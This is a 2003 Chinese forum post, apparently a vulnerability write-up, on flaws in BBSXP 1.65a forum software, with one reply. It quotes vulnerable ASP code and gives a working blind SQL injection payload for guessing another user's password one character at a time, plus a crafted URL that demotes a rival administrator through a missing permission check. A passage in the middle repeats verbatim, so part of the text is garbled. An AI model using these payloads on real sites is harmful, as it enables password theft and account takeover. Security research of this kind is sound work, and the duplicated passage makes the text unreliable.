请先登录 | 注册
MM0759.COM
最新BBSXP漏洞[倒着看三] - 文章首页返回版区
■标题:最新BBSXP漏洞[倒着看三]
■作者:林子野菇 [2003/8/8 21:27:00]
最新BBSXP漏洞[倒着看三]
其实躺在床上看代码也是一件非常惬意的事情,特别是看那些写得很烂的东西时候,
你总莫名其妙地产生一种居高临下的感觉。在过了一个痛苦不堪的暑假后,尤其是在生病
后急需要调整心情的那段时间里,看BBSXP几乎成了我唯一的享受。
依然是BBSXP1.65a,依然是业余级别的代码和洞。

recycle.asp行16、17。这是一个要管理员或者社区区长才能利用漏洞,代码如下:

for each ho in request.form("id")
conn.execute("update [forum] set
deltopic=0,lasttime=now,content=content&'<br><br>[此帖子已
被 "&Request.Cookies("username")&" 在 "&now&" 还原过]' where id="&ho&"
and deltopic=1")
next

对于MSSQL版(如果地球上存在的话)的来说,这个的利用难度是零。但是对于
ACCESS版的要利用这个猜密码玩的话,难度是很大的,因为不好判断条件正确与否,姑且
就把这个洞的利用放掉吧。

prison.asp行28同样是一个要管理员或者社区区长才能利用漏洞,代码是这样的:

sql="select * from user where username='"&Request("username")&"'"

我把这个洞称作愚蠢的,第一是因为幼稚的写法,第二是因为在这个尔虞我诈的社
会,你永远不知道同样身为管理员的他是否会在背后捅你一刀,轻率地写那些只有管理员
才有权访问的代码,同样会增加整个论坛的脆弱性。
一句老话,对于MSSQL版(如果地球上确实存在的话)的来说,这个的利用难度是零,
而对于准备猜密码的人来说,难度就像是让中国跳水队在一米板上做301B。
进入prison.asp,用户名上面填写的就是我们要注入的东西,理由随便。比如我们来
猜猜never的密码,当然,我自己是知道的密码的,这里只是假装不知道。
要填写的东西基本上就不用考虑,猜never的密码第一位最好的格式是这样:

select * from user where username='never' and right(left(userpass,1),1)
='x'

比较一下prison.asp第28行,简直就是量身定做,提交的用户名就这样就好了

never' and right(left(userpass,1),1)='x

never的密码第一位是1,我提交的不正确的话,比如提交的就是never' and right
(left(userpass,1),1)='2,那么BBSXP会傻乎乎的告诉我这个用户资料不存在,呵呵,
很显然,这个的查询结果是空,当然没有资料存在了。如果我猜的不是2而是1,回来的资
料就不太一样,这里never是社区社长,不能被关进监狱,因为这个查询结果正好就是
never,所以BBSXP告诉我们不能抓入监狱。当然,猜不同的人的密码情况可能不太一样,
反正如果返回结果是用户资料不存在,你就是猜错了,否则你就猜对了。
同样的洞在同样的文件中有很多个拷贝,我就不一一列举了,下面再说一个搞笑的漏
洞。

同样的文件,行71到89是这样的

if Request("menu")="release" then
sql="select * from user where username='"&Request.Cookies("username")&"'"
rs.Open sql,Conn
if rs("membercode") < 4 then
error("<li>您的权限不够,无法释放犯人!")
end if

if Request.Cookies("userpass")<>rs("userpass") then
error("<li>您的密码错误")
end if

rs.close
conn.execute("update [user] set membercode=1 where username='"&Request
("username")&"'")
conn.execute("delete from [prison] where username='"&Request("username")
&"'")

response.redirect "prison.asp"
end if

我为什么要说怕别人在背后摆你一道呢,就是这里了。我要是管理员,我可以让任何
人进监狱!这里没有检查要释放的人是不是在监狱里面,我要是弄了一个不是在监狱里面
的人提交过去,马上就把他打为平民了,因为有这句话:

conn.execute("update [user] set membercode=1 where username='"&Request
("username")&"'")

比如我是never,test是管理员,但是我很看不惯它这个小子。我登陆后在浏览器中
输入

http://localhost/bbsxp/prison.asp?menu=release&username=test

咔嚓,test变成平头老百姓了,然后我按照正常的手段就可以把他弄进监狱里面去。
哦,可怜的test,他还不知道世道如此险恶。

总而言之,这个论坛是极其搞笑的,任何的自夸之语只能授人以笑柄。什么叫“一般
你只要自己设置一下,不用升级我们的程序,你就可以永远排除这种漏洞”,我都不好意
思读出来,就是这样的论坛,这样的代码,就是猴子听了都会脸红。后面一个漏洞充分的
体现了编写者的思维混乱,我都不能说他们是外行,因为我身边的非计算机系DDMM们才大
一大二,他们都有严谨的思维方式,而且写出来的代码简洁有力,我怕这样说会伤了DDMM
们的心,他们才是真正的外行啊!BBSXP的人呢?你们算是什么呢?
where username='never' and right(left(userpass,1),1)
='x'

比较一下prison.asp第28行,简直就是量身定做,提交的用户名就这样就好了

never' and right(left(userpass,1),1)='x

never的密码第一位是1,我提交的不正确的话,比如提交的就是never' and right
(left(userpass,1),1)='2,那么BBSXP会傻乎乎的告诉我这个用户资料不存在,呵呵,
很显然,这个的查询结果是空,当然没有资料存在了。如果我猜的不是2而是1,回来的资
料就不太一样,这里never是社区社长,不能被关进监狱,因为这个查询结果正好就是
never,所以BBSXP告诉我们不能抓入监狱。当然,猜不同的人的密码情况可能不太一样,
反正如果返回结果是用户资料不存在,你就是猜错了,否则你就猜对了。
同样的洞在同样的文件中有很多个拷贝,我就不一一列举了,下面再说一个搞笑的漏
洞。

同样的文件,行71到89是这样的

if Request("menu")="release" then
sql="select * from user where username='"&Request.Cookies("username")&"'"
rs.Open sql,Conn
if rs("membercode") < 4 then
error("<li>您的权限不够,无法释放犯人!")
end if

回复/版区/上篇/下篇/发贴/仅文字/HTML
【倒序/最近21条回复】
■作者:IPSC [2003/8/9 9:47:59]
有人没事给BBSXP找洞也不错,可惜那个自认为是高手的人没写个BBS出来让别人找笑柄
YUZI也真是偸懒,写多几个内容限制语句会死呀!

(查看完整版网页)



短讯|首页|登录|算法|电脑版 .
DK MiniBBS Plus v2.0
mm0759.com
312 毫秒 .